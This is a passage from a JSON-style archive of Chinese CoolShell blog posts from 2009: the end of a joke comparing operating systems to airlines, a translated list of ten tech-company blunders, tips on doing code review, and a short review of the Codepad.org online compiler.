Airlines**\n\n\n你进入了一个非常漂亮的航站楼，旁边停着一架你从未见过的超级大的飞机。每隔10英尺，都会有一个安全人员出现，并问你是否“确认”你想要继续向前乘坐飞机，或者你可以取消这个飞行，当然，我们并不知道取消会意味着什么。你继续前行到一个桌子前询问为什么这架飞机那么大？在安全人员向你确认过你需要问问题并且你确实要听到回答后，工作人员告诉你，这是世界上最大的飞机，是因为它可以让乘客们感觉更好，但是因飞机的需求需要把飞机被设计成要比正常飞行速度慢两倍，所以他们只好加大尺寸，这样才能达到让他速度变慢的目标。\n\n\n一旦上了飞机，每一个乘客都会被乘务员单独地询问是否真的想要乘坐本次航班，因为这是公司的制度规定。同样，机场还会再向大家再次询问同样的问题。当你回答了若干次“是”以后，你却被一些陌生人（黑客）在你的脸上打了一拳，因为那些陌生人问你：“你真确定我可以打你的脸吗？‘确定’或是‘取消’”，而你却条件反射地回答了“确定”。\n\n\n在起飞的以后，飞行员意识到飞机的起落架驱动没有被更新，不能和新型的飞机在一些工作。所以，在整个飞机过程中，起落架都在处于降落的状态。这样一来，整个飞机飞行得更慢，但是飞行员继续飞行这样飞机，他们希望起落架的生产产商会尽快地给一个最新版本符合Vista航空公司标准的起落架驱动程序更新。\n\n\n终于，你到达了你的目的地，你却得到的是Windows XP航空公司的奖励里程而不是尝试新型的飞机的奖励。你的一个亲密的朋友在听过你的故事以后，告诉你Linux航空公司会好得多。\n\n\n**Linux Air**\n\n\n对其它所有航空公司都不满的员工决定离开他们自己的航空公司。他们开始自己建造飞机，机票柜台，以及自己铺设飞机跑道。他们只用很少的费用给你提供可打印的机票，但你完全可以自己下载下来打印机票。\n\n\n当你登机的时候，会有人递给你一个座位，四个螺栓，一个扳手和一本“安装座位-HOWTO.html”手册。一但安装好了，可随意调整或更改的座位可能让你相当地舒服，从飞机离开到目的地，其几乎不会发生一个错误，而且，飞机过程中的飞行餐非常不错。你会想去告诉选乘别的航空公司的乘客你那完美的经历，但你所能得到的回答是一句反问，“乘座飞机还要自己去安装自己的座位？”。\n\n\n（全文完）\n\n\n文章：[来源](http://www.linuxscrew.com/2007/10/07/fun-linux-unix-windows-os-x-and-dos-airlines/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![vfork 挂掉的一个问题](../wp-content/uploads/2014/11/tux-fork-150x150.gif)](https://coolshell.cn/articles/12103.html)[vfork 挂掉的一个问题](https://coolshell.cn/articles/12103.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\nThe post [操作系统航空公司](https://coolshell.cn/articles/1272.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-19 科技公司十大最愚蠢的错误.md",
    "content": "---\nlayout: post\ntitle: 科技公司十大最愚蠢的错误\ndate: 2009/8/19/ 15:17:20\nupdated: 2009/8/19/ 15:17:20\nstatus: publish\npublished: true\ntype: post\n---\n\nhttp://images.pcworld.com/news/graphics/170337-rearview_original.jpg有一些史上最大的高科技公司的交易没有发生。有一些最有前途的产品和服务也没出现。为什么？因为这其中的人和公司当时都没有意识到是什么样的东西滑过了他们的手指，或者，他们只是简单地不能预知未来会发生什么。\n\n\n如果事情还能再来一次，也许今天我们就不会看到Apple和Microsoft了，而且，Yahoo可能会成为世界上最大的搜索引擎，Google只能成为后者。你也许只能从施乐电脑上读这篇文章，从RealPod上听你最喜欢的频道。\n\n\n人们都说“事后诸葛亮”（ hindsight is 20-20，20/20是最好的视力），如果真是这样的话，那么，我们的分析就是最精确的。下面是我们挑选的历史上十大科技类公司丢失机会的案例。\n\n\n1. Yahoo 错过 Facebook\n--------------------\n\n\n2006年，当时只有2年的Facebook还在只服务于一些学校内的社交网络。那个时候的MySpace就拥有了1亿用户，完全超过了Facebook的8百万用户。所以，当 [Yahoo 提出使用10亿美金购买 Mark Zuckerberg 的孩子](http://www.wired.com/techbiz/startups/news/2007/09/ff_facebook) 时（其将近 [2005年 Rupert Murdoch 收购 MySpace 金额的两倍](http://www.newscorp.com/news/news_251.html)）人们都对说Fackbook的老大说，“Take the money and run, Mark。”，事实上，时年23岁的扎克伯格也的确于2006年6月与雅虎达成了协议。\n\n\n\n然后，Yahoo发布了一些其糟糕的财政报告后，它的股价在一晚上就下跌了22%，当时Yahoo的CEO， Terry Semel，把购买价格下调到了8亿美金来购买Facebook，但被Mark Zuckerberg 拒绝，两个月后，Terry Semel 把收购价格提高到10亿美金，但那时已经太晚了。\n\n\n今天，Facebook已经扩大到了2亿5千万的注册用户，并且，它目前 [值大约从 50亿美金 到100亿美金间的一个价格](https://coolshell.cn/article/165524/update_facebook_gets_200_million_in_cash.html) （主要看谁来计算） 。而我们的Yahoo三年过去了，换了两个CEO，今天还在生存线上挣扎。\n\n\n \n\n\n2. Real Networks 丢弃 iPod\n------------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-tonyfadell-applebiopic_180.jpg人们以为Steve Jobs 发明了iPod，但实际他没有，这是真的。Steve Jobs 只不过对一个因为[Real Network没有采纳想法](http://www.historyofthings.com/history-of-the-ipod)的而离职的工程师Tony Fadell 说了“Yes”，而这个想法就是2000年秋天的一种全新音乐播放器（Tony Fadell 以前的同事 Philips 同样拒绝了Tony的这个新想法）。\n\n\n虽然 MP3 播放器已经出现很多看了，但是 [Fadell 的理念](https://coolshell.cn/article/167123-4/fathers_of_technology_10_unsung_heroes.html) 有一些小小的不同，他注重的是：更小，更精巧，并且专注于一个音乐的内容系统，这样，能够让音乐爱好者们很容易的填满他们的播放器——“pods” （Steve Jobs 则是最著名的驱动 iPod设计的人）\n\n\n今天，那个专注于音乐内容的系统叫iTunes，并且，Apple公司控制了80%的数字音乐的市场。 Fadell 在Apple的 iPod 事业部工作，不过最终于2008年11月离开了那里。Real Networks 今天还在继续他的流媒体，但它的利润已被被iTunes冲得肢离破碎了。（照片是Tony Fadell)\n\n\n3. 索尼和东芝HD 的纷争\n--------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-blu-ray_disc2_180.jpg为了争夺一个新的 [高清晰光盘标准](https://coolshell.cn/article/142584/hd_dvd_vs_bluray_disc_a_history.html)，几年来，在格式上的这场争夺战中，参与者各方已付出了很昂贵的成本。在拳击台上的一角落里，站着Sony支持的蓝光（Blu-ray），而另一个角落，站着Toshiba支持的 HD DVD。\n\n\n自从2002 开始，双方就开始争夺不休，各自的所签署的联盟阵营也只支持自己的互不兼容的格式。在2008 年，Sony 的刀刃插入了Toshiba的胸膛，让Toshiba停止了HD DVD的生产，2009年8月12日宣布正式加入蓝光阵营，Toshiba 反而成了蓝光这边最大的一个支持者之一， [华纳兄弟也花费了4亿美金宣布放弃HD DVD并加入蓝光阵营](http://blogs.pcworld.com/staffblog/archives/006159.html)。\n\n\n有趣的是，在上世纪90年代中期，这对冤家同样为电影的HR格式争斗，那个时候，当时双方搁置争议，把两边的最好的东西整合起来，成为了一个叫做 Digital Versatile Disc的东西，被人们简称DVD。\n\n\n这样一个事情，让多年参与HD格式之争的公司门损失惨重。如果在2002年，两边联手，HD光盘可能会在今天的电影和电视节目光盘中占有统治地位，然而，双方的争斗导致了成本的上升，和在市场上错失良机，今天，DVD卖得比蓝光还要多，基本上是10:1的样子，但是未来将会属于流媒体的视频点播。\n\n\n4. Digital Research：另一个Microsoft\n--------------------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-kildalltradingcard_180.jpg这是一个经典案例。在 1980 年，当时的IBM正在寻找一些人为IBM的PC机做一个操作系统，当时的 Microsoft 并不是第一选择。当初的比尔·盖茨(Bill Gates)建议IBM与Digital Research的加里·基尔代尔(Gary Kildall)合作，后者也是 CP/M 操作系统的作者。\n\n\n传说，Kildall甩了IBM要单飞。但实际上是kildall接了另一个客户的订单去做另一个产品，仅让他自己的妻子和IBM谈判。 [Dorothy Kildall ——他的妻子并不喜欢IBM的一些条款](http://www.cadigital.com/kildall.htm)，所以和IBM的合作也流产了。\n\n\n蓝色巨人只好回头找了Bill Gates和他的搭档Paul Allen，他们开发了MS-DOS，这是基于 Tim Paterson 的 QDOS （全称是the Quick and Dirty Operating System）, QDOS则是基于Gary Kildall的CP/M操作系统。 最后IBM提供了 Microsoft 的 DOS (售价$60) 和某版本的CP/M (售价$240) 给IBM PC的买家做选择，最后，便宜的产品获得了胜利。\n\n\n在DOS以前，Microsoft 最大的产品是 BASIC 编程工具。而在 DOS以后，是的，你知道这个公司干了什么。Microsoft 今天的成就是否和IBM的那个合同有关？我们永远也无法知道。也许，像Bill这样的人始终都能把握住这样的机会，而Gary则不能。\n\n\n5. Xerox 错失 Alto 良机\n-------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-xerox_alto-wikimeda_180.jpg这也是另一个经典的故事。二十年前，在Macintosh 和Windows PC之前，甚至在MITS Altair之前，已经存于 Alto，这是这个世界上第一个基于窗口图形界面的电脑（关于图形化的操作系统，大家可以看看这篇文章《[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html \"操作系统图形界面发展史(1981-2009) - 1,632 次浏览\")》）， 由[Xerox PARC](https://coolshell.cn/article/115194/meet_the_movers_behind_the_first_pc.html)发明， Alto 有鼠标，支持以太网络，以及所见即所得的WYSIWYG文本处理器。\n\n\n但是1973 年的“个人电脑”市场并不存在，所以 Xerox 并不知道Alto的潜力，也不知道如何处理它。这个公司制造了几千个这要电脑并把它们分发到了各个大学中。江湖上传闻，1979年的时候，当 Steve Jobs 参观Xerox PARC的时候，看到了Alto，回去后，把那些 [许许多多的 Alto 的特性](https://coolshell.cn/article/114418/the_mac_turns_20.html) 集成到了 Apple 的 Lisa 和Mac 电脑上。从那以后， Xerox 终于意识到了它的错误，然后把开始了 Xerox Star 的市场营销，Xerox Star是一个图形工作站，其基于Alto的技术。但是已经太晚了，太晚了。\n\n\n \n\n\n6. 唱片业的一错再错\n-----------\n\n\nhttp://images.pcworld.com/news/graphics/170337-napster-logo-1999_180.jpg也许，没有哪个产业比音乐产业更能错过机会。\n\n\n在1999年，Shawn Fanning 的 Napster 创造了一个难以置信的一个让大容易共享音乐的在线平台。然后， [唱片公司们开始集体控诉Napster](https://coolshell.cn/article/17839/judge_in_napster_case_finds_in_favor_of_music_companies.html) ，侵害了他们的版权。然后，Napster 的 CEO Hank Barry 提倡音乐产业 [采用那种电台广播的许可证协议](http://iml.jou.ufl.edu/projects/Spring01/Burkhalter/hank's%20statement.html) ，对通过网络传播音乐的人征收版税，可是他的这个倡议遇到了聋子的耳朵——无人响应。\n\n\n于是，Napster 的粉丝们非常快地跑到了其它的P2P的文件共享网络，如Gnutella 和Grokster，于是盗版音乐也成了RIAA（美国唱片业协会）的头号敌人。\n\n\n在2000年，MP3.com 启动了一个服务可以允许会员们上传歌曲到自己的私有的CD收集中，并且可以以流的方式传播到每一个PC上。再次， [唱片行业控告 MP3.com 侵权](https://coolshell.cn/article/35165/mp3com_faces_new_litigation_days_after_settlement.html)， 最终导致了 MP3.com 被迫出售，并被迫更改了其商业模式。\n\n\n再加上 [RIAA 对 Grokster, Morpheus,](https://coolshell.cn/article/64546/filesharing_services_sued.html) Kazaa, 和其它30,000 盗版单曲的指控，其它唱片行业损失了很多商业机会。\n\n\n当然，今天的音乐订阅业务和流媒体服务，诸如 Pandora 支配了数字音乐界，唱片公司也开始和网络公司签了协议。试想一样，如果唱片公司们和 Napster， MP3.com，或是其它一些网络共享者合作，而不是去指控他们，也许，这些唱片公司今天将会控制着数字音乐——而且不会有任何盗版的问题。\n\n\n7. Compuserve 错过了主宰网络的机会\n------------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-compuservepin-comdex1995_180.jpg看看今天的交互式应用，社区媒体式的，用户原创内容驱动式的（UGC），你看到了什么？一个1994年几乎完美版本的 CompuServe。但是，几乎主宰在线世界的 CompuServe 的屁股被AOL仅以AOL有500亿的免费CD踢得开了花。\n\n\n在上世纪90年代初， Compuserve Information Service 有着“令人难以置信的优势：一个坚定的客户基础，难以置信的对客户的使用模式分析的数据，一个难以复制的知识仓库，几乎没有竞争的环境”， Kip Gregory，一个管理顾问， [Winning Clients in a Wired World](http://www.winningclients.com/) 一书的作者，说，“可能缺少的是……把这些优势都转变成可持续的领先的投入”。\n\n\n于是，AOL 来了，提供了一种“不限时的”统一费用，而 CompuServe 则是按小时充值，AOL提供了一个简单的界面，以及大规模，地毯式轰炸营销活动——为每位用户提供一张免费的CD。在CompuServe论坛上早期出现的组织纷纷转到了AOL的Web上，而CompuServe论坛对Web支持的不是很好。1997年，[AOL 获得了 CompuServe](https://coolshell.cn/article/4512/aol_buying_compuserve_users_voice_opinions_about_possible_takeover.html), 并且，[“CompuServe classic” 服务最终在同年6月安息了](https://coolshell.cn/businesscenter/article/167903/farewell_compuserve_rip.html) 。\n\n\nCompuServe 失败不是错过了一个机会，而是错过了一堆， Gregory说，“我真的相信 CompuServe是一个非常重要的示例，这也是一个非常重要的教训——永远不要因为优势就裹足不前”。\n\n\n8. 报业错过网络分类广告业务–Craigslist\n--------------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-craigslist_180.jpg报纸正在死亡，并且，几乎的所有的帐户（当然，所有的报纸帐户）， Craigslist 的的触角却延伸到各个地方的触角却延伸到各个地方，甚至可以在所有的犯罪现场被找到。 大家认为报纸的衰落是因为在线的免费的分类广告服务，这让很多行业的利润都极大的缩水，其中一个就是新闻报纸行业的那些“现金牛”(指现金净收入极大的项目,如沃尔玛超市)。\n\n\n2005年，全美报业分类广告的年收入总额为173亿美元。。从那以后，像Craigslist 这样使用分类广告的网站（如：Amazon, eBay, 和Google）几乎番了一番，根据 [Pew研究中心](http://pewinternet.org/Reports/2009/7--Online-Classifieds.aspx?r=1)的报告，报业的分类广告的利润却减少了一半。\n\n\n如果回到2005年，那段报业分类广告利润很高的时候，如果某个报业集团收买了Craigslist，那么今天可能会非常地不一样。当然，首先他们将不得不说服Craigslist的创始人Craig Newmark出售。\n\n\n在[2008 年1月InfoWorld的采访中](https://coolshell.cn/article/141991/craigslist_founder_talks_about_open_source_banner_ads.html)，Newmark 说他的公司的角色在报纸行业瓦解中被报纸行业大大地夸大了，“我认为报纸最大的问题是需要去检查他们自己”他注解道。\n\n\n9. Google 之前的 Google\n--------------------\n\n\nhttp://images.pcworld.com/news/graphics/170337-opentextlogo2009_180.gif在上世纪90年代中期，最热的搜索引擎不是Yahoo，不是 Alta Vista，不是 Lycos，也不是 Hot Wired，而是Open Text Web 索引。它和今天的Google 非常像，Open Text 以其速度，准确性和全面性著称，这个搜索引擎于1995 年由Open Text 公司宣称，其[索引了当时Web上大约5百万个页面上的每一个单词](http://www.allbusiness.com/technology/software-services-applications-search-engines/7135767-1.html)。那年 Yahoo 在其目录中集成了Open Text 的搜索技术。\n\n\n但是其和Yahoo合作两看后， Open Text 放弃了搜索而转移到企业级的内容管理方向上。一年以后，[Google 才初次登场](http://www.google.com/corporate/history.html)。Open Text又是和机遇错过了，没有意识到搜索会变得有多大。\n\n\n“如果 Open Text 有什么事是比较特殊的，那就是他们比任何人都有和Google很相近的技术”， Steve Parker（一个帮助Yahoo启动Open Text搜索技术的通讯顾问）说， “它比Google早三年进入市场，所以Google不得不为了以更快的速度发展而使劲烧钱，并且，Google也不一定有足够的时间去成为市场的领导者。如果当初不是那样，也许，今天的山大王将会是Open Text ”。\n\n\n10. Microsoft 拯救正在腐烂的苹果\n-----------------------\n\n\nhttp://images.pcworld.com/news/graphics/170219-apple_old_logo_original.jpg10年前，当Apple正处理严重的危机中。 Mac 的销售正在被Power Computing 和 Radius更便宜的山寨机复制时。整个公司动作在非常低的现金流中，苹果的股票跌到每股$5，并且，他们正在寻找新的CEO来取代 Gil Amelio。\n\n\n后来，Apple 收到了一大笔急需的现金注入——1亿5千万美金——从一个看上去不可能的源头： [Microsoft，还承诺继续开发Mac Office 套件](https://coolshell.cn/article/5156/microsoft_to_invest_in_apple_jobs_ellison_on_board.html)。这个交易由Apple的顾问Steve Jobs 和Microsoft商议而成，这一宣布曾经在Macworld Expo 博览会上被苹果的铁杆粉丝们暴以嘘声。这后，Steve Jobs成为了Apple的实习CEO。后面，我们都知道发生了什么。\n\n\n如果Microsoft 当时没有 [错过让苹果凋谢的这个机会](https://coolshell.cn/businesscenter/article/169752/1997_steve_jobs_was_wrong_and_microsoft_saved_apple.html)？我们可能会要在WinPhones上使用WinTunes而苦苦挣扎。在线的音乐和视频可能会停滞，或是更坏，被好莱坞控制着。而且，我们会因为没有Windows的另一个选择而长期地失望下去。这恐怕是唯一一个大家受益的“失误”了。\n\n\nhttp://images.pcworld.com/news/graphics/170337-youngstevejobs_original.jpg     \n\n年青的Steve Jobs\n\n\n文章：[来源](http://www.pcworld.com/article/170337/the_10_stupidest_tech_company_blunders.html)（PCWorld）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/11629.html)[「我只是认真」聊聊工匠情怀](https://coolshell.cn/articles/11629.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/559.html)[菜鸟学PHP之Smarty入门](https://coolshell.cn/articles/559.html)\n* [![是微服务架构不香还是云不香？](../wp-content/uploads/2023/05/monolith.microservices-150x150.png)](https://coolshell.cn/articles/22422.html)[是微服务架构不香还是云不香？](https://coolshell.cn/articles/22422.html)\n* [![Linus：利用二级指针删除单向链表](../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg)](https://coolshell.cn/articles/8990.html)[Linus：利用二级指针删除单向链表](https://coolshell.cn/articles/8990.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/2492.html)[WTF Javascript](https://coolshell.cn/articles/2492.html)\n* [![两本电子书](../wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg)](https://coolshell.cn/articles/3270.html)[两本电子书](https://coolshell.cn/articles/3270.html)\nThe post [科技公司十大最愚蠢的错误](https://coolshell.cn/articles/1295.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-20 Code Review中的几个提示.md",
    "content": "---\nlayout: post\ntitle: Code Review中的几个提示\ndate: 2009/8/20/ 15:49:49\nupdated: 2009/8/20/ 15:49:49\nstatus: publish\npublished: true\ntype: post\n---\n\n![Code Reivew](../wp-content/uploads/2009/08/review.jpg \"Code Reivew\")Code Review应该是软件工程最最有价值的一个活动，之前，本站发表过《[简单实用的Code Review工具](https://coolshell.cn/articles/1218.html)》，那些工具主要是用来帮助更有效地进行这个活动，这里的这篇文章，我们主要想和大家分享一下Code Review代码审查的一些心得。\n\n\n首先，我们先来看看Code Reivew的用处：\n\n\n1. Code reviews 中，可以通过大家的建议增进代码的质量。\n2. Code reviews  是一个传递知识的手段，可以让其它并不熟悉代码的人知道作者的意图和想法，从而可以在以后轻松维护代码。\n3. Code reviews 也鼓励程序员们相互学习对方的长处和优点。\n4. Code reviews 也可以被用来确认自己的设计和实现是一个清楚和简单的。\n\n\n你也许注意到了在上面的Code Reivew中的诸多用处中，我们没有提到可以帮助找到程序的bug和保证代码风格和编码标准。这是因为我们认为：\n\n\n\n1. **Code reviews 不应该承担发现代码错误的职责**。Code Review主要是审核代码的质量，如可读性，可维护性，以及程序的逻辑和对需求和设计的实现。代码中的bug和错误应该由单元测试，功能测试，性能测试，回归测试来保证的（其中主要是单元测试，因为那是最接近Bug，也是Bug没有扩散的地方）\n2. **Code reviews 不应该成为保证代码风格和编码标准的手段**。编码风格和代码规范都属于死的东西，每个程序员在把自己的代码提交团队Review的时候，代码就应该是符合规范的，这是默认值，属于每个人自己的事情，不应该交由团队来完成，否则只会浪费大家本来就不够的时间。我个人认为“meeting”是奢侈的，因为那需要大家在同一时刻都挤出时间，所以应该用在最需要的地方。代码规范比起程序的逻辑和对需求设计的实现来说，太不值得让大家都来了。\n\n\n10年前，上面这两件事会是理所当然的（10年前的中国的软件开发还没有Code Reivew呢），今天，在中国的很多公司上面这两件事依然被认为是Code Reivew最重要的事，所以，我能够看到很多开发Team抱怨Code Review就是一个形式，费时费力不说，发现的问题还不如测试，而评审者们除了在代码风格上有些见术，别的也就没什么用了，长而久之，大家都会开始厌烦这个事了。\n\n\n所以，在今天，请不要把上面的那两件事分散了Code Review的注意力，取而代之的是，对于Bug，程序的作者要在Review前提交自己的单元测试报告（如：XUnit的测试结果），对于代码规范，这是程序作者自己需要保证的，而且，有一些工具是可以帮你来检查代码规范的。\n\n\n**当然，上述这些言论并不是说，你不能在Code Review中报告一个程序的bug或是一个代码规范的问题。我只是说，那并不是Code Review的意图。**\n\n\n下面是我们认为的几个小提示可以让你更好进行Code Review这项最有价值的活动。\n\n\n#### 1.- 经常进行Code Review\n\n\n以前经历过几个相当痛苦的Code Review，那几次Code Review都是在程序完成的时候进行的，当你面对那近万行的代码，以前N多掺和在一起的功能，你会发现，整个Code Review变得非常地艰难，用不了一会儿，你就会发现大家都在拼命地打着哈欠，但还是要坚持，有时候，这样的Review会持续3个小时以上，相当的夸张。而且，会议上会出现相当多的问题和争论，因为，这就好像，人家都把整个房子盖好了，大家Review时这挑一点那挑一点，有时候触动地基或是承重墙体，需要大动手术，让人返工，这当然会让盖房的人一下就跳起来极力地维护自己的代码，最后还伤了团队成员的感情。\n\n\n所以，千万不要等大厦都盖好了再去Reivew，而且当有了地基，有了框架，有了房顶，有了门窗，有了装修，的各个时候循序渐进地进行Review，这样反而会更有效率，也更有帮助。\n\n\n下面是一些观点，千万要铭记：\n\n\n* **要Review的代码越多，那么要重构，重写的代码就会越多。而越不被程序作者接受的建议也会越多，唾沫口水战也会越多。**\n* **程序员代码写得时候越长，程序员就会在代码中加入越来越多的个人的东西。** 程序员最大的问题就是“自负”，无论什么时候，什么情况下，有太多的机会会让这种“自负”澎涨开来，并开始影响团队影响整个项目，以至于听不见别人的建议，从而让Code Review变成了口水战。\n* **越接近软件发布的最终期限，代码也就不能改得太多。**\n\n\n我个人的习惯，并且也是对团队成员的要求是——先Review设计实现思路，然后Review设计模式，接着Review成形的骨干代码，最后Review完成的代码，如果程序复杂的话，需要拆成几个单元或模块分别Review。当然，最佳的practice是，每次Review的代码应该在1000行以内，时间不能超过一部电影的时间——1.5小时（因为据说那个一个正常人的膀胱可以容纳尿液的最长限度）\n\n\n当然，在敏捷开发中，他们不需要Code Reivew，其实，敏捷开发中使用更为极端的“结对编程”（Pair-Programming）的方法 —— 一种时时刻刻都在进行Code Review的方法，个人感觉在实际过程中，这种方法有点过了。另外，大家可以看看本站的另一篇文章《[结对编程的利与弊](https://coolshell.cn/articles/16.html)》来了解一下这种方法的问题。\n\n\n#### 2.- Code Review不要太正式，而且要短\n\n\n忘了那个代码评审的Checklist吧，走到你的同事座位跟前，像请师父一样请他坐到你的电脑面前，然后，花5分钟给他讲讲你的代码，给他另外一个5分钟让他给你的代码提提意见，这比什么都好。而如果你用了一个Checklist，让这个事情表现得很正式的话，下面两件事中必有一件事会发生：\n\n\n1. 只有在Checklist上存在的东西才会被Review。\n2. Code Reviews 变成了一种礼节性的东西，你的同事会装做很关心你的代码，但其实他心里想着尽快地离开你。\n\n\n只有不正式的Code Review才会让你和评审者放轻松，人只有放松了，才会表现得很真实，很真诚。记住Review只不过是一种形式，而只有在相互信任中通过相互的讨论得到了有意义和有建设性的建议和意见，那才是最实在的。不然，作者和评审者的关系就会变成小偷和警察的关系。\n\n\n#### 3.- 尽可能的让不同的人Reivew你的代码\n\n\n这是一个好主意，如果可能的话，不要总是只找一个人来Review你的代码，不同的人有不同的思考方式，有不同的见解，所以，不同的人可以全面的从各个方面评论你的代码，有的从实现的角度，有的从需求的角度，有的从用户使用的角度，有的从算法的角度，有的从性能效率的角度，有的从易读的角度，有的从扩展性的角度……，啊，好多啊，还让不让人活了。不管怎么说，多找一些不同的人会对你很有好处。当然，不要太多了，人多嘴杂反而适得其反，基本上来说，不要超过3个人，这是因为，这是一个可以围在一起讨论的最大人员尺寸。\n\n\n下面是几个优点：\n\n\n1. 从不同的方向评审代码总是好的。\n2. 会有更多的人帮你在日后维护你的代码。\n3. 这也是一个增加团队凝聚力的方法。\n\n\n#### 4.- 保持积极的正面的态度\n\n\n再说一次，程序最大的问题就是“自负”，尤其当我们Reivew别人的代码的时候，我已经见过无数的场面，程序员在Code Review的时候，开始抨击别人的代码，质疑别人的能力。太可笑了，我分析了一下，这类的程序员其实并没有什么本事，因为他们指责对方的目的是想告诉大家自己有多么的牛，靠这种手段来表现自己的程序员，其实是就是传说中所说的“半瓶水”。\n\n\n所以，无论是代码作者，还是评审者，都需要一种积极向上的正面的态度，作者需要能够虚心接受别人的建议，因为别人的建议是为了让你做得更好；评审者也需要以一种积极的正面的态度向作者提意见，因为那是和你在一个战壕里的战友。记住，你不是一段代码，你是一个人！\n\n\n#### 5.- 学会享受Code Reivew\n\n\n这可能是最重要的一个提示了，如果你到了一个人人都喜欢Code Reivew的团阿，那么，你会进入到一个生机勃勃的地方，在那里，每个人都能写出质量非常好的代码，在那里，你不需要经理的管理，团队会自适应一切变化，他们相互学习，相互帮助，不仅仅是写出好的代码，而且团队和其中的每个人都会自动进化，最关键的是，这个是一个团队。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![如何重构“箭头型”代码](../wp-content/uploads/2017/04/IMG_7411-150x150.jpg)](https://coolshell.cn/articles/17757.html)[如何重构“箭头型”代码](https://coolshell.cn/articles/17757.html)\n* [![从Code Review 谈如何做技术](../wp-content/uploads/2014/04/code_review-150x150.jpg)](https://coolshell.cn/articles/11432.html)[从Code Review 谈如何做技术](https://coolshell.cn/articles/11432.html)\n* [![一个空格引发的惨剧](../wp-content/uploads/2011/06/20110620115951113-150x150.gif)](https://coolshell.cn/articles/4875.html)[一个空格引发的惨剧](https://coolshell.cn/articles/4875.html)\n* [![橡皮鸭程序调试法](../wp-content/uploads/2009/11/Rubber-Duck-150x150.jpg)](https://coolshell.cn/articles/1719.html)[橡皮鸭程序调试法](https://coolshell.cn/articles/1719.html)\n* [![简单实用的Code Review工具](../wp-content/uploads/2009/08/viewtopicdetail-150x150.png)](https://coolshell.cn/articles/1218.html)[简单实用的Code Review工具](https://coolshell.cn/articles/1218.html)\n* [![你准备使用 HTML 5 吗？](../wp-content/uploads/2010/09/WTF_HTML51-150x150.jpg)](https://coolshell.cn/articles/2926.html)[你准备使用 HTML 5 吗？](https://coolshell.cn/articles/2926.html)\nThe post [Code Review中的几个提示](https://coolshell.cn/articles/1302.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-8-23 在线代码编译服务Codepad.org.md",
    "content": "---\nlayout: post\ntitle: 在线代码编译服务Codepad.org\ndate: 2009/8/23/ 12:14:44\nupdated: 2009/8/23/ 12:14:44\nstatus: publish\npublished: true\ntype: post\n---\n\nCodepad.org是一个很有意思的网站，它的主页很简单，左边是可以编译并执行的程序语言，右边则是让你输入程序的输入框，输入框的下面是一个“Run Code”的复选钮和一个“Submit”的提交按钮。\n\n\n其操作起来也非常简单，先选中你要编译并运行的程序语言，然后在输入框中粘贴或输入程序的原代码，然后，点击提交，你就可以看么你程序编译出错的提示，或是执行的结果。\n\n\n也许，你会觉得很无聊天，但我觉得这在某些时候会非常有用，尤其是你找不到编译器而又想验证一段代码的时候，这种时候还是比较多的。特别是我们很难有一台可以运行所有语言的电脑，如果有的话，那一定是你自己的个人电脑，当你不使用你自己的电脑时，你就会着急了。而且，我觉得这项服务非常地有意思，因为，这样一来，你甚至可以在你的手机上写任何语言的程序了。\n\n\n\n目前这个网站支持下面这样语言——C，C++，D，Haskell，Lua，OCaml，PHP，Perl，Plain Text，Python，Ruby，Scheme，Tcl。（没有Java）\n\n\n当我打开这个网页的时候，我立马想到了《[6个变态的C语言Hello World程序](https://coolshell.cn/articles/914.html \"作者：耗子  --  521 次点击\")》，然后就取了其中一个上去试了一下，果然方便啊。的确是相当的省事啊，不需要打开编译器或IDE，不需要建工程，不需要存成文件，太方便了。\n\n\n[![codepad.org执行BT的hello world](../wp-content/uploads/2009/08/codepad2.jpg \"codepad.org执行BT的hello world\")](https://coolshell.cn/wp-content/uploads/2009/08/codepad2.jpg)\n\n\n。\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) 